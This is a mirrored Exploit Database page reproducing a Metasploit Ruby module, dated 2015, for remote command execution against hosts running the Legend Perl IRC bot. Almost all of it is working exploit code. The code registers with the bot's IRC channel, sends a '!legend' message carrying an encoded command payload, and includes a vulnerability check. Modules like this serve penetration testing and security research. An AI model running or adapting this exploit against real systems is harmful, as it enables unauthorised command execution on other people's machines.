Legend Perl IRC Bot – Remote Code Execution (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2015-12-14
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/38973/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::Tcp
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Legend Perl IRC Bot Remote Code Execution',
  'Description'=> %q{
  This module exploits a remote command execution on the Legend Perl IRC Bot .
  This bot has been used as a payload in the Shellshock spam last October 2014.
  This particular bot has functionalities like NMAP scanning, TCP, HTTP, SQL, and
  UDP flooding, the ability to remove system logs, and ability to gain root, and
  VNC scanning.
  
  Kevin Stevens, a Senior Threat Researcher at Damballahas uploaded this script
  to VirusTotal with a md5 of 11a9f1589472efa719827079c3d13f76.
  },
  'Author' =>
  [
  'Jay Turla' # msf and initial discovery
  #MalwareMustDie
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'OSVDB', '121681' ],
  [ 'EDB', '36836' ],
  [ 'URL', 'https://www.damballa.com/perlbotnado/' ],
  [ 'URL', 'http://www.csoonline.com/article/2839054/vulnerabilities/report-criminals-use-shellshock-against-mail-servers-to-build-botnet.html' ] # Shellshock spam October 2014 details
  ],
  'Platform' => %w{ unix win },
  'Arch' => ARCH_CMD,
  'Payload'=>
  {
  'Space'=> 300, # According to RFC 2812, the max length message is 512, including the cr-lf
  'DisableNops' => true,
  'Compat'=>
  {
  'PayloadType' => 'cmd'
  }
  },
  'Targets'=>
  [
  [ 'Legend IRC Bot', { } ]
  ],
  'Privileged' => false,
  'DisclosureDate' => 'Apr 27 2015',
  'DefaultTarget'=> 0))
  
  register_options(
  [
  Opt::RPORT(6667),
  OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
  OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
  OptString.new('CHANNEL', [true, 'IRC Channel', '#channel'])
  ], self.class)
  end
  
  def check
  connect
  
  res = register(sock)
  if res =~ /463/ || res =~ /464/
  vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
  return Exploit::CheckCode::Unknown
  end
  
  res = join(sock)
  if !res =~ /353/ && !res =~ /366/
  vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
  return Exploit::CheckCode::Unknown
  end
  
  quit(sock)
  disconnect
  
  if res =~ /auth/ && res =~ /logged in/
  Exploit::CheckCode::Vulnerable
  else
  Exploit::CheckCode::Safe
  end
  end
  
  def send_msg(sock, data)
  sock.put(data)
  data = ""
  begin
  read_data = sock.get_once(-1, 1)
  while !read_data.nil?
  data << read_data
  read_data = sock.get_once(-1, 1)
  end
  rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e
  elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
  end
  
  data
  end
  
  def register(sock)
  msg = ""
  
  if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty?
  msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
  end
  
  if datastore['NICK'].length > 9
  nick = rand_text_alpha(9)
  print_error("The nick is longer than 9 characters, using #{nick}")
  else
  nick = datastore['NICK']
  end
  
  msg << "NICK #{nick}\r\n"
  msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
  
  send_msg(sock,msg)
  end
  
  def join(sock)
  join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
  send_msg(sock, join_msg)
  end
  
  def legend_command(sock)
  encoded = payload.encoded
  command_msg = "PRIVMSG #{datastore['CHANNEL']} :!legend #{encoded}\r\n"
  send_msg(sock, command_msg)
  end
  
  def quit(sock)
  quit_msg = "QUIT :bye bye\r\n"
  sock.put(quit_msg)
  end
  
  def exploit
  connect
  
  print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
  res = register(sock)
  if res =~ /463/ || res =~ /464/
  print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
  return
  end
  
  print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
  res = join(sock)
  if !res =~ /353/ && !res =~ /366/
  print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
  return
  end
  
  print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...")
  legend_command(sock)
  
  quit(sock)
  disconnect
  end
  
  end